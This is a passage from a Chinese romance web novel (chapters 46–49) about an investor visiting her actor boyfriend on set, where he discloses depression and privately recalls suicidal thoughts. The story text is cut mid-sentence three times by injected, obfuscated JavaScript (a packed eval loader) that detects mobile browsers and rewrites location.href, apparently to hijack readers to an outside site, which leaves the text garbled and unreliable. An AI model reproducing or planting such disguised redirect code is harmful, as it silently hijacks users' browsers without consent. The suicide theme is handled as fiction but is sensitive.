她能感觉到周围有些人脸色微变,但到底没人说什么。 这才对嘛,程书仪心想。一个破箱子,坐一下能怎么样呢? 她对自己这种小孩行径很满意,心情都好了不少。 来之前祁歌没有跟她说什么,倒是高姐转达了一下剧组的欢迎,帮她确定了行程,把这探班搞得像个正儿八经的工作似的。 其实影视行业她不是很了解,这次投资金额也不算大,对她来说不至于要做什么万全考察。 就是好奇想看看,小演员祁老师在更专业的环境下,会有什么样的加持效果。 这下可好,大半天时间都要跟着导演和制片人走流程,被迫了解影视拍摄的方方面面,连祁歌的面都见不到。 “那接下来咱们去那边休息室吧,我们跟您详细沟通我们的拍摄计划和进度。” 程书仪礼貌地欠身,跟着工作人员向房屋里面走。 这边所有的片场布置都有种年代感,就连休息室的桌椅沙发都是实木简约款,上了枣红色的漆,非常有代入感。 置身这种环境,程书仪有种接下来要端着一杯带盖的瓷杯子喝茶开会的感觉。 聊了没一会儿,窗户外面传来淅淅沥沥的雨声。 “下雨了啊?”程书仪向窗外看去。 这里的环境陈设都有种细节铺满的沉浸感,雨水落在窗外的竹叶上,叶尖沉坠,划出一片凌乱的弧线。 “这雨下得不巧,”导演叹了口气,“看来今天的通告要改了。” “那要不您先忙吧,”程书仪看他一直低头看时间,赶快说道,“我就是来看看,稍微了解一下。” “好,那您先休息一下,一会儿让他们带您到处转转。” 程书仪面前倒是没有带盖的瓷杯,只有个盛着茶水的一次性杯子,捧着很是暖和。 她望着窗外发了会儿呆。 手机响了一声,是祁歌发来的消息:“热烈欢迎投资人程老师莅临片场!” 程书仪发了个翻白眼表情:“大可不必。” 发完又去问他:“你今天有戏吗?” 祁歌回了个自拍,是他一身戏服坐在屋檐下面,不知道经历了什么,一脸的水和泥。 这么惨? “我去围观。”程书仪当即决定。 乱世之中,风雨飘摇。 这是程书仪看到片场的第一感受(文艺版)。 ——通俗版就是一团混乱。 通告是临时改的,这会儿各路人马都在奔忙,布景灯光摄影的工作人员全都各司其职地马不停蹄地满场协调,演员们也在紧张走戏。 片场里似乎总在发生这样的事,连程书仪都有点见怪不怪。 “要不带您去后面转转?”陪着程书仪的工作人员建议道。 “……嗯,等会儿吧,”程书仪用目光在人群中逡巡,很快定位到了祁歌。 他这会儿正和其他演员一起围着听导演讲戏,头上被打了个巨大的黑伞。 没一会儿人群散开,程书仪看到阿远给祁歌递了杯什么喝的,又有人上前披了好大一个毯子。 这不是被妥帖照顾着……刚才发那么狼狈的照片,就是想引自己同情吧!诡计多端的小演员。程书仪忿忿想着。 她留在原地多看了一会儿,看着片场很快恢复了秩序。从导演的监视器里,能看到雨中非常有质感的画面。 电影的拍摄方式与电视剧不同,为了一个远景镜头的完美,导演已经来来回回反复试了很多遍。 程书仪看了一会儿就失去了耐心,跟着工作人员去这会儿没在使用的拍摄区转了转。 她看到了祁歌给她拍过的不少置景,这会儿没在拍摄,人去楼空,雨滴飘洒,青石板上的青苔在水雾中格外舒展。 大概,在之后的拍摄中,这些地方也会被战火摧残,变得混乱不堪,血污遍地。 即使是这样看着,也会觉出一点心痛。 看上去这部戏的主创是真用了心的,希望最后电影能成功上映吧。程书仪心想。 她这会儿没什么事可做,便辞别了工作人员,打算回车里等一会儿,看看能不能等到祁歌下戏。 没想到才刚回到休息室,就看到阿远正在等她。 “程姐!”阿远表演了一个看到亲人般的夸张反应,吓得程书仪后退半步。 “你怎么又跑这儿了?”程书仪问。 “祁哥派我来的啊,”阿远笑嘻嘻地说,“他现在还有个随身助理,我就没那么忙了。程姐已经参观过这里了吗?” 程书仪点头:“嗯,看完了,也不麻烦你了,我去车里等着就好。” “你和祁哥真是心有灵犀,”阿远说,“他说怕你一个人无聊,正好打发无聊的我来陪着你玩会儿……别去车里了,不想逛了就在这儿多歇一会儿,等他下了戏马上就过来找你。” 话说到这里,程书仪才终于觉得开心了起来。 就是嘛,本来就是过来玩,变成工作算怎么回事。 电影拍摄到底是没电视剧那么紧锣密鼓,天色刚黑下去,祁歌就过来了。 他看上去已经草草收拾过自己,换了身常服,头发也洗吹干净。 “久等了!”他一进门就笑着说。 屋里没人理他,程书仪正和阿远双排,处于夺取水晶的关键时期,只抬头看了他一眼就又被手机屏幕吸引。 “快快快这边没兵了,别管龙了到这边打……” “我来了我来了,”程书仪靠在沙发上手指狂搓,“好了拿下!” “Yes!”阿远握拳抬头,这才看到好整以暇地靠在门框的祁歌,“哥你下班啦?” “嗯,现在你也可以下班了。”祁歌做了个“请”的手势,目送阿远点头溜走。 程书仪收起手机,大大伸了个懒腰。 祁歌望着她笑了,嘴里又说了一遍:“久等了。” “也没很久,”程书仪站起身,“刚才我去看了你们拍戏的景,还挺好看的……哦对我还坐道具箱了!” “那东西有什么坐不得的,”祁歌哂之,“这会儿雨小很多了,要不要出去走走?” “今天拍得顺利吗?”程书仪抬脚给他看自己被雨泡过的鞋帮,“说实话,也不是很想走了。” 祁歌一瞬间表情严肃,在她面前蹲下:“鞋湿了?还是脚不舒服?” “喂喂停停停,”程书仪制止道,“我不是高中女生了,不需要这些!” “啊……”祁歌抬起头,目光里颇有几分遗憾,“不需要吗……我都准备再去给你买双鞋了。” 程书仪一时无语。 不是这人脑子里到底装了多少校园偶像剧情节啊…… 十分钟后程书仪换了双干爽的一次性拖鞋,坐在沙发上舒舒服服刷手机。 祁歌在厨房里鼓捣了一会儿,端出两个菜一个汤。 “抱歉啊,没准备太多食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578303|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 材,凑合吃点。”他眉目弯弯地说。 “已经很好啦!”其实程书仪不是那种对吃喝很挑剔的人,但祁歌做这些总会很用心。 他好像一直很擅长让人觉得舒服。 “本来想着出去吃,再带你在这附近转转,没想到天气不太好。”祁歌在她对面坐下,心情很好地看着她,“但这样也不错。” 是还不错,程书仪想着,虽然今天在片场有些无聊,没正经看到演员们拍几场戏,但也算有了些特别的体验。 她慢悠悠地吃完饭,起身问用不用帮着洗个碗。 “不用不用,先放着。”祁歌拉着她的手腕将她带回茶几前的沙发上。 这个房间是剧组给大家租下的,小小的一室倒是五脏俱全,和之前祁歌租的房子有几分相似。 “书仪,有些话想跟你说。” 祁歌这句郑重开场白让程书仪愣了愣。 “……什么话?” 她感觉心里莫名其妙地跳了一下。 总觉得有什么阴翳在他们的头上,让她有种想逃走的欲望。 不知道是不是她的反应让祁歌敏感地意识到了,祁歌对她安抚地笑了笑:“没事的,我只是觉得,有的事该跟你说一下,你别有负担。” “你越说我越有负担了。”程书仪不自觉地向后移动了一点。 祁歌垂下眼,轻轻叹了口气:“好了,其实……也没什么事。” “要跟我分手?”程书仪瞪着他,“你得了绝症?你怀了我的孩子?还是孩子其实不是我的?” 祁歌怔怔地看着她半晌,哑然失笑:“这都什么、什么乱七八糟的……” “最近看短剧有点多,”程书仪挠头,“好了你说吧,我准备好了。” “书仪,我非常非常喜欢你,”祁歌于是说道,“和你一起很开心,但是之前、之前分开的时候,我其实状态很差。” “是吗……”程书仪若有所思,“我还以为你接受得挺好的。” 祁歌垂下头笑了:“我接受不了一点儿,甚至有点想不开。” “啊?”程书仪又后退了一点,“这么严重?” 祁歌点点头又摇摇头:“嗯……当然也没真到那一步,反正高姐带我去看了医生,确实是精神上有点问题吧,这几年也一直在吃治疗抑郁症的药物。” 程书仪大为震撼。 她没在现实中遇到过抑郁症病人,倒是在网上看到过很多,也知道这属于文艺圈常见病。 但祁歌每天看起来温温和和,笑意盈盈,真的很难把他和这个词联系在一起。 怎么说呢,她之前对这个病,确实是有点成见。 虽然知道不能简单把这个和“矫情”之类的评价联系在一起,但她想过,倘若是自己身边的人,自己可能会有些束手无策。 类似一种怕麻烦的心理吧。 所以祁歌如果是因为这个,忐忑不敢说出来,倒也可以理解。 但是…… “没事的。”程书仪说。 她自己也不知道为何会这么快地做出回答。 可能因为对方是祁歌,这个人本身已经很麻烦,或许再麻烦一点也没关系。 祁歌抬头望着她,眼睛里好像有太多的难以言说的东西。 “所以这个……精神上的问题到底是怎么样的感觉,你都给我讲讲吧。”程书仪放松了身体靠在沙发背上说。 祁歌夸张地长吸一口气:“哇那就说来话长了,你真想听?” “当然,”程书仪端起桌上的水杯,“没关系,可以慢慢讲。” 47. 哪件事 也不知道祁歌对“慢慢讲”这件事有什么误解,愣在那儿想了几秒,竟然径直去取了瓶酒过来。 “啥意思,你胃好了?”程书仪瞪他,用眼神诉说着自己绝不会相信。 “不是,”祁歌笑了,“你不是让我慢慢说吗,我可要招待好我唯一的观众。” 程书仪也笑了:“那行,把吃的喝的都端上来吧。” 他们分开的时候,也是一个有点薄凉的季节。 祁歌转身时自认潇洒,没想到后遗症是慢慢浮现出来的。 最开始出现的症状是失眠。 漫漫长夜里,他试过闭上眼睛苦熬好几个小时,试过爬起来做运动或是看书,试过盯着闪烁的屏幕看老电影,也试过将自己乱七八糟的想法全都记录下来…… 都没用。 那段时间他正好没有太多正经事要做,自我诊断只是心情不好,过段时间有了工作自然会好转。 等到失眠越来越严重,高姐都看不下去,才督促他去看医生。 祁歌随便找了个医院试图开点药,结果晴天霹雳当场被诊断为双相。 他没想过会这么严重,如临大敌乖乖按医嘱吃药,被剧烈的副作用折磨得痛不欲生。 后来又被高姐带着去专科医院看过几位医生,才终于确定是被误诊了,白白吃了那么久的药物。 好好好,不是双相,只是抑郁而已。 再之后工作陆陆续续被安排上,祁歌的病情就这样断断续续被各种药物和安眠药撑着,失眠不见好不说,还平添了许多别的毛病,出现了躯体化和惊恐发作。 治疗方面的方案试过了好几种,不是药效不好,就是副作用太大。 如此折腾了好长一段时间,甚至耽误了几份工作,才终于找到一种还算适配的药物。贵是贵了点,好在药效不错副作用也小,祁歌终于能维持住一种不再随时心悸发作的正常生活。 现在说起来仿佛轻描淡写,但在当时却是一眼望不到头的反复熬煎度日如年。 这些痛苦挣扎中,他怨过也恨过,但一切平静下来,心中萦绕最多的还是不甘心。 他就像一脚踩空掉进一个泥沼,偷生后最想知道的,还是究竟怎么会掉进去。 ……于是决定再踩一次。 果然是有点病。 “后来其实试着停过几次药,”祁歌说,“不过有时候压力大了,还是有点……” 大概是有些力不从心吧,他想,这些年来,他好像有许多许多力不从心的时刻,倒是也习惯了。 “现在还需要去看医生吗?”程书仪问。 “也需要定期复查,因为药每次只能开一段时间的。”祁歌说,“这类药物总是要定期去开的。” “原来如此,”程书仪点点头,又稍微思索了一会儿,“那,有什么是……我能做的吗?” 祁歌望着她眨了眨眼。 “我是说,如果你需要什么,或者你希望我给你一种怎样的态度之类的,都可以告诉我。”程书仪说得坦坦荡荡。 到底是程书仪啊。 祁歌之前一直没敢说出这件事,就是因为他一直知道程书仪对这类事情的态度。 她当然可以同情,也可以帮忙,但在内心深处,程书仪其实是会有点不愿理解的。 毕竟她是如此直接和勇敢的一个人,对她来说,这些莫名其妙的情绪问题也着实有点太难解了点。 并且,祁歌也不想用这个来强求什么。 倘若程书仪因此心软,他反而会更难受。 如果他自己都不知道需要什么,又怎么能期望程书仪给出自己想要的东西呢。 程书仪却比他看得更清。 于是程书仪只是问他,希望自己怎么样。 换言之,她不想伤害自己,但也没打算就此离开。 还是有点感激的。 “其实也没什么,”祁歌说,“这些我自己可以处理好,之前怕你担心,但……” 但事到如今,这些都算是小事了。 刚才有一瞬间,真的很短的一瞬间,祁歌有种想要把这一切都和盘托出的冲动。 他知道程书仪会接住他。 但……那个瞬间终究是过去了。 事到如今,他又凭什么要程书仪接住他呢? 程书仪已经为他做了太多太多了。 以前总觉得时间还长,或许还有机会,或许还有可能改变故事的结局……到了时间终于不再漫长的此刻,祁歌放下了这些微渺的“或许”,想来想去,总算也能为她做点什么。 比如说,为她……安静退场。 程书仪会怪他吗?想必是会的。但她到底是程书仪,她理应一直向她的目标奔跑下去。他们之间的情感尚且浅淡,这些责怪,她不会执着太久的。 “……困吗?”祁歌问她。 程书仪摇摇头:“还行,我一向睡得晚。” 她有点狐疑地看他:“就是这件事吗?总觉得你还有什么要跟我说。” “本来是,但是……其实没关系,”祁歌有些释然对她笑了笑,“好久没听你说你看上的那些产品了,有什么可以讲讲的吗?” “那可就说来话长了,”程书仪举起杯子喝了一口酒,“你确定真的想听?” “当然,”祁歌说,“我承认之前你说这些的时候我都没认真搞懂,但我觉得……” “什么?” “我觉得你说这些的时候很有魅力。”祁歌真诚道。 大概是因为他不太经常这样直截了当地称赞,程书仪虽然表面上没什么表示,但祁歌看到她的耳根有些红了。 好在,还有时间。祁歌心想,其实说到底也没什么遗憾也没什么想索求的了,在他转身之前。 但他还有这点时间,真好啊。 程书仪没有留在祁歌那儿过夜。 她倒是对这个也没什么坚持,只是快到半夜的时候,祁歌突然身体不太舒服。 一开始她还以为是自己讲的那些评估模式数值计算之类的有点太难懂了,让祁歌很明显地皱了下脸。 再去细看,才发现祁歌的脸色已经一层层白了下去,额头上也沁出细密的汗珠。 “哪里不舒服?”程书仪赶快止了话头问他。 祁歌别过脸去声音都在打颤:“就……有点头疼。” “啊?疼得厉害吗?要不要去医院检查一下啊。”看他这个样子,程书仪是真的有点担心了。 祁歌对她摆摆手,径直冲进了卫生间。 程书仪站起身跟到门口,犹豫了一下,到底没有伸手去推门。 她知道祁歌向来是不愿人看到自己的狼狈的。 卫生间里响着哗哗的水声,程书仪猜测祁歌大概是胃不太舒服在呕吐。明明直到刚才他身体都没什么异样,也不知道怎么突然就成了这样。 她回到客厅度秒如年地稍坐了一下,终于等到祁歌拉开门。 他脸色仍然不太好,但终于不是刚才那种无法控制面部表情、连话都说不出来的样子。 “抱歉啊……”祁歌冲她扯了下嘴角。 他额前的头发被打湿了,正零星地向下滴着水。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578304|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不知道为什么,程书仪忽然想起之前在片场的休息室窗外看到的那簇雨中的竹叶。 是有一点凄惨诗意的美。 “真的没事?”她再次跟祁歌确认道。 祁歌望着她点点头:“可能休息得不好吧最近,有时候会有点头疼。” 怎么说呢,这个人正在重新定义“有点”。 程书仪早已驾轻就熟地学会在这时候不要逼着他,给他点空间,等他自己想清楚。 虽然,她也不确定祁歌每一次的“想清楚”到底是真的想清楚了,还是又钻进了什么死胡同。 就……顺其自然吧。 拿这个人很没辙。 天色还早,程书仪手机里已经收到了祁歌的早请安,说早起开工了,大概是在汇报自己身体没问题。 想来想去,程书仪选择私聊阿远:“最近在忙什么?” “程姐早,”阿远回得挺快,“最近接管了粉丝对接,我的天呐,一头官司。” “有什么官司?”程书仪还挺有兴趣,一边起床一边打了电话过去问。 “你不知道,这粉丝组织本来就乱七八糟,大粉话语权贼大,我说要制定规则,她们又这不行那不行,最后一群人私信我谏言说管理人员谋私利,让我把她们取缔……”阿远如同被打开了话匣子,一整个声泪俱下。 程书仪耐心听了半天,直言感觉都是些很常见的事情,也没什么特别的。 阿远直接跳脚:“没什么特别的?程姐,你不知道,粉丝有时候需求就是矛盾的……” “我知道,”程书仪喝了口手里的咖啡,不由有点想笑,“辛苦了。” 说起来,祁歌好像好久都没在粉丝群露面了。 他最近被关起来拍戏,没什么动向也没有消息,粉丝躁动一点也是正常的。 风水流轮转啊,当初她因为这些事情感到匪夷所思的时候,可是根本没有人能诉说的。 那段时间她常常混迹在祁歌的粉丝群,围观那些小女孩们聊天。 可能是年龄太小了,有时候粉丝们会有一些很难理解的想法和需求。对此程书仪通常会耐心安抚假意应对一番,并不真的传达给祁歌。 当时倒是也没觉得厌烦,只是会时常感到有点好笑。 什么祁歌一定要保养好那张脸,少去扮丑或者做太大表情;什么要学会媚粉饭撒(这些词的意思是程书仪后来才明白的);什么要对得起粉丝爱惜羽毛不要接烂饼…… 程书仪曾经离这些东西很近……可能有点太近了。 以至于后来看到粉圈就有点过敏。 不过……程书仪终于想起言归正传:“你老板最近一切正常吗?” “谢谢程姐关心,”阿远含义莫名地“嘿嘿”了两声,“我会好好转达的。” “谁让你转达了?!”程书仪佯怒道,随即又不免多了点担忧,“那次去找他,看到他头疼得厉害。” “嗯……那个可能是因为他说最近睡眠不好,就是……”阿远有点吞吞吐吐。 “我已经知道他抑郁症的事情了。”程书仪说。 “哦你知道了!”阿远呼了口气,“那我们的信息就一致了,他前段时间还去看了下医生,我看到他在吃缓解头痛还有什么养护神经的药,应该是医生给他开的,他自己倒是没当回事跟我说头痛医头脚痛医脚,我跟高姐汇报过了,会督促他去复查的。” 程书仪“嗯”了一声,又说:“他自己知道上心就行……” “我也会看好他的,一定还您一个完好无损的祁哥!”阿远保证道。 48. 开放日 “好消息!”祁歌在视频里一露面就扬起了笑容,“今天导演表扬我了。” “是吗,你做了什么?”程书仪问。 她刚才一直在开会,只得把祁歌的通话按掉了,这会儿准备吃饭了才终于得了会儿闲重新打过去。 “刚才有场戏导演夸我演得准,嘿嘿。”祁歌笑了两声,又问程书仪中午吃什么。 “还不知道。”程书仪如实答道,“你们放饭了吗?” 祁歌的表情略有些僵硬:“还是发的盒饭,我已经吃完了。” 发盒饭这事儿没什么好隐瞒了,所以隐瞒的点应该就是“吃完了”的部分。 “有去看医生吗?”程书仪直接问。 “会去的。”祁歌这样说。 他最近每天都在主动给程书仪发消息,讲些自己的动向。 他一向对琢磨演戏非常热衷,但之前似乎更多是自己琢磨,很少会这么密集地分享。 这让程书仪有种当了妈妈的错觉。 “你们之前拍的那部戏,就是什么穿越什么的,什么时候播啊?”程书仪忽然想起来问道。 她看过那部戏的不少拍摄片段,还有点期待成片会是什么样子。 “那个剧后期应该还挺快的,”祁歌说,“不过要排档期,估计还要几个月吧。” “这么久!”程书仪啧舌。 影视类产品的反馈线拉得也太长了,不确定因素又太多,以后还是尽量不要搞这种投资。她暗暗下定决心。 大概是最近拍摄进度真的不怎么紧凑,祁歌也开始在粉丝群里时不时营个业,定时跟大家道些没什么意义的早安晚安,偶尔介绍一下自己的工作进度,还会更新点自拍或他拍。 程书仪很喜欢他这种各方面都很积极的态度。 只是这些积极态度的目标有些让人捉摸不透。 “……剧组开放日?” “对啊,一般拍摄中间都会腾出一两天给媒体探班,拍点花絮之类的,你想来吗?”祁歌问。 程书仪不太确定:“但我又不是媒体……” 而且怎么听都像校园开放日,家长要去参观开会的感觉。 “哎呀,程姐你就来吧,”电话里传来阿远的声音,“来给我们买点奶茶好不好,我想要……喂,哎!” 听起来祁歌重新接管了电话,话音里漫洒着笑意盈盈:“我们都很想你。” “撒娇没用。”程书仪指出。 当然了,撒娇有用。 专业的剧组是不一样啊,程书仪望着周围的布置心想。 这里和上次过来时看到的完全不一样了。 那些她料想过的残酷画面并未出现,这里被装饰了一番,气氛显得颇为安然,如同被小心保护起来的一个梦境。 “是不是每次探班都会选择一些开心的拍摄时段啊?”程书仪问阿远。 “是吧,毕竟探班时候拍摄的有些画面会直接播出,肯定要选轻松一点、尽量不剧透的部分。”阿远说着,带程书仪穿过古色古香的门楼,再转个弯就是青石板覆盖的巷子。 “这个地方还是下雨的时候比较有感觉。”程书仪说。 “莫非你就是那位,丁香一样结着愁怨的姑娘?”一个声音在她身边响起。 祁歌从旁边的木门里探出头来,开口就仿佛在吟诗。 他今天穿了件长衫,头发向后梳着,很有种古板的文弱书卷气。程书仪偏头多看了他两眼。 “怎么,”祁歌笑着看她,“这么帅吗?” “哎呀你可算了吧,”没等程书仪吐槽,阿远已经率先翻白眼推他们进去,“哥你今天不是还有任务吗?几点直播?” “还有一会儿呢。”祁歌说着让阿远先进去,自己躬身对程书仪做了个“请”姿。 程书仪很是受用,扶着他的手抬脚迈过门槛,也算体验了一下沉浸式服务。 祁歌的手有些凉,手心里还有点汗。 也不知道怎么的,程书仪忽然起心凑到他耳边,轻轻说了一句话。 “是挺帅的。” 到底是有经验的大剧组,今天片场虽然人多,却并不显得杂乱。工作人员细心地排列好了具体到每个场所和每位演职人员的一日行程,相关对接人员也早就拿到日程表,整个片场都是有条不紊的样子。 “太合理了,”阿远忍不住说,“原来组织能力强的表现是这样的。” “阿远你学着点,”祁歌披上大衣对她开玩笑,“以后你独当一面了,就按这个标准做事。” “您对我还真是寄予厚望啊哥。”阿远无力地回嘴。 “阿远,我也看好你。”程书仪也凑上了热闹。 阿远简直忍不住要白眼这两位:“程姐你怎么也帮腔欺负我啊?” “我哪有?”程书仪一脸惊讶,“我是认真的。” 阿远眨了眨眼,这才确定自己从程书仪脸上确实没找到半点戏谑。 她一时不知道该说什么好。 就在这时,她听到祁歌在她身边轻轻地叹了口气。 “你程姐是这样的,”他开口时话音里有笑意,“相信你自己就好。” 阿远又看了眼祁歌。 她也说不清自己到底看到了什么,祁歌只是微微垂下眼睛,不知道看向哪里,眸光中的笑意有些许闪烁。 他看起来似乎是在怀念什么,或许是某种尚未失去但终究无法留下的东西。 作为片场开放日探班的保留节目,早市的戏拍完之后,所有媒体老师都可以在剧组搭建的这条街上随意吃喝,拍照留念。 虽然说为了保证成片,这些食物已经被反复加热了太多遍,早已失去了最好的口感,但这种漫步在老旧的时空之中,周围每个演员都在戏里的体验,也足够让人难忘。 祁歌在这幕戏中不是主要角色,因此早早就完成了戏份,跟程书仪一起在人声熙熙的街上转了一圈。 “想不想试试?”他从街边的小摊上拿了个小瓷瓶给程书仪看。 白色的瓷瓶又小又扁,里面是红色的膏体,大概是模仿以前年代的胭脂做的。 程书仪坚决拒绝,随即目光被街边的另一个小摊吸引:“这是什么?” 那个小摊位的桌子上摆着一个圆环状可以旋转的轮盘,下面有八卦图案,周围层层叠叠压着些纸条,旁边还放着两个小鸟笼。 摊主是位须发全白的老者,手上摇着一把纸扇。 祁歌跟着看过来,却是先扬声打了个招呼:“老师您在这儿客串呢?” 摊位前的老者抬头看到他们,把架在鼻梁上的小墨镜往下推了推,这才开口招呼:“小祁啊,你不去采访啊?” “我没去,”祁歌说,“您这道具……是真的?这么专业?” 老者笑了起来:“哈哈,要不给你算一卦?” “我……” 祁歌还没来得及说什么,跟在他们后面的阿远终于认出了眼前的老师:“啊,老师是您啊!上个组我们也见过!” “哟,这不是阿远嘛,”老者很是高兴,“你是小祁的助理对吧,上次杀青我们一起喝酒了,我记得。” “世界真小,又见面了,”阿远跃跃欲试地在摊位对面坐下,“老师给我算算!” “你信这个啊?”程书仪没忍住问。 “还行,”阿远挺开心地说,“我主要是好奇,还没算过呢。” 于是那位老师问了阿远的生辰八字,煞有介事地伸手在轮盘上转了几次,又敲了敲鸟笼。 祁歌站在旁边,没忍住“噗嗤”笑出声来。 阿远怒道:“哥你笑什么笑,别打扰老师给我算命!” 祁歌将自己嘴巴用虚拟拉链拉住,扭头示意程书仪两人可以先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578305|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了。 “书仪,你信命吗?”祁歌还是披着戏里的大衣,一边走一边问。 程书仪摇摇头:“你知道我对这些兴趣不大。” “我以前也是。”祁歌说。 “以前?”程书仪偏头去看他。 虽然这条街刚拍完的是早上的戏,但此刻的真实时间已经是下午。 灯光撤走了,这里消失了金黄的阳光;鼓风机也停了,清晨的微风不再掠过人们的脸颊。 祁歌的面色仍显苍白,神色也有些倦怠。 “现在开始有点信了,”祁歌低下头,将手指拢在袖口里,“其实也不是信玄学,是觉得……有时候人是拿命运没有办法的。” “这个我倒是同意,”程书仪说,“人生无常,但通过努力,还是会多一些选择。” 祁歌点了点头。 很有道理,比如可以选择埋进哪个等级的墓,或者干脆一把灰风里扬了。 他为自己的这种极端消极的思路苦笑了一下。 程书仪好奇地看他:“怎么了,我怎么觉得你最近有点消沉?” “这么明显吗?”祁歌问。 他还以为自己伪装得挺好的。 “……说实话吗?” 两个人对视一眼,是祁歌先笑了出来。 其实祁歌还没有将自己生病的事告诉父母。 他准备杀青之后去办住院,再跟父母正式报备。 惭愧,这么大的人了,在这种事面前,还要喊父母来帮忙兜底。 ……到那时候,再告诉程书仪吧。 他其实还没想好要跟程书仪怎么说,或许就直接说分手更好些……毕竟此去凶多吉少,他不想程书仪给他什么同情,或是别的。 但不说实话,对她实在有点太不公平了。 毕竟程书仪是如此看好他,甚至为了他在完全不熟悉的领域做了投资。 祁歌觉得心里蒙上一层层的愧疚,几乎让他呼吸困难。 思来想去,他能做的事也还是太少了。 “书仪,”他深吸了一口气,近乎执拗地说,“我会好好拍这部戏的。” “我知道,我也相信你……”程书仪一扭头发现了街边一个新奇的小摊,“哇,这有面人!” 装成小贩的演员将一个个形态各异的小面人扎在草木棒子上,看去琳琅满目,很是可爱。 “你真会做吗?”祁歌问道。 “祁老师我哪会啊,这道具老师做的,”那位群众演员认出祁歌,笑着回答说,“不过我看这个挺像你,送你吧。” 他指着草木棒子上那个憨态可掬的猪八戒。 “诶!”祁歌作势要揍他,大家笑成一团。 “……所以老师,你这鸟是假的?!”阿远呆呆地望着鸟笼。 笼子里面的小鸟纤毛毕现,憨态可掬,但确实一动不动。 “哈哈哈对不起啊小姑娘,我其实不会算命,逗你的。”这位负责看管算命摊的老者终于破功哈哈大笑起来。 阿远欲哭无泪,合着祁歌早就看出老师在装神弄鬼,是自己不让他点破,白白在这儿期待了半天。 “老师您演得太像了吧!”她由衷评价道。 “过奖过奖,哎小姑娘,我看小祁在这个组拍戏挺开心的,是不是因为那个女孩?”老师放下神棍那一套,丝滑地拉着她八卦起来。 阿远挠挠头:“可能吧……” “那就好,”老师看着很是放心,“可别再像以前那样了。” “像以前那样,半夜拍完戏坐台阶上看月亮吗?”阿远还记得当时说的梗,顺口便说了出来。 没想到这位老师却一脸惊奇:“看月亮?” “昂……不是吗?” “那天晚上下着小雨,我们发现小祁没走的时候,他浑身都湿透了……哪儿有月亮啊……” 49. 陨石坠 祁歌想过轻生,甚至不止一次。 那时候脑子钻进了死胡同,世界逐渐坍塌缩小成仅供蜗居的小小一居室,如同自封坟茔。 当生活本身与死并无不同,“生”的意义便丧失了。 他会常常坐在片场发呆。 对他们这种底层演员来说,整天整夜地在片场等戏,是件再正常不过的事。 不管是晨光熹微的清晨,还是黯沉如墨的深夜,片场永远有人在来来往往。大家都有自己的任务:设置布景、布置灯光、布雨吹风、接戏提词、检查拍摄、开机关机、回看镜头、清理场景、准备下一个镜头…… 那时候,祁歌的世界是那么小,小到如同镜头里拍摄的那一隅小小画面。 可那画面之外的世界又是这么大,有这么多形形色色的人。 我到底在干什么呢?祁歌会这样问自己。 跟他同龄的同学和朋友们要么找了个合适的工作,朝九晚五小富即安;要么已经在自己选择的行业里混出点名堂,手下有人可管,眼前有业务可争了。 大家都有明确的目标,也知道该如何一步步去挣得它们。 只有他还如同飘零的浮萍,领着这个月一万下个月三千的收入,脑海里塞满乱七八糟的思绪,时而丧失所有目标,时而整个人被焦虑浸泡,惶惶不可终日。 在这个真实的世界中,他永远无法置身事外。 周围的群众演员们总在喊苦喊累,怎么还不拍,今天还发不发钱,你累吗,好热啊好冷啊,哇站太久了我的腿好痛……人类的苦恼是这么多。 祁歌已经很久没关注自己的腿了。 对他来说,时间和自身都仿佛失去了意义。他被动地看着这一切,看着搬运东西的人们,置景架景的人们,入戏出戏的人们,欢笑或疲惫的人们……内心深处里,这并不是他真正想要的。 他想,大概这种没能活出自己理想的感觉,会需要一辈子来释怀吧。 可是人的一辈子,真的太长了。 有篇著名的短篇小说叫做《警察与赞美诗》,一个穷困潦倒、无家可归的流浪汉自暴自弃想去监狱熬过冬天,于是故意试图犯罪:吃霸王餐、扰乱治安、偷他人的伞……却始终没被警察抓走。最后,他在迷茫之际为教堂里的赞美诗所感动,决定改邪归正把握自己的人生!——就在这时,警察忽然出现,无故将他送进了监狱。 这是个有趣而意味深长的故事,特别是当它碰巧成了你的人生寓言时。 命运是残酷的。祁歌想。 他就是那位流浪汉。 在他好不容易从那无边的泥沼中挣脱出来,真正想要追着光走下去的时候,命运选择天降陨石,直接给他路堵死了。 往好处想,这下倒不用苦熬过这漫长又艰辛的一辈子了。 精神状态特别稳定。 程书仪离开片场前前接了个电话。 祁歌没忍住偷看了一眼屏幕,并在心里唾弃自己日渐下降的道德水准。 “我先走啦,”程书仪收了电话,“下次有空再过来。” “有工作啊?”祁歌明知故问。 “嗯,之前就约好的,”程书仪看了祁歌一眼,“怎么了,还有别的事吗?” “有啊,”祁歌绷着脸拉长了声音,“我的奶茶呢?” 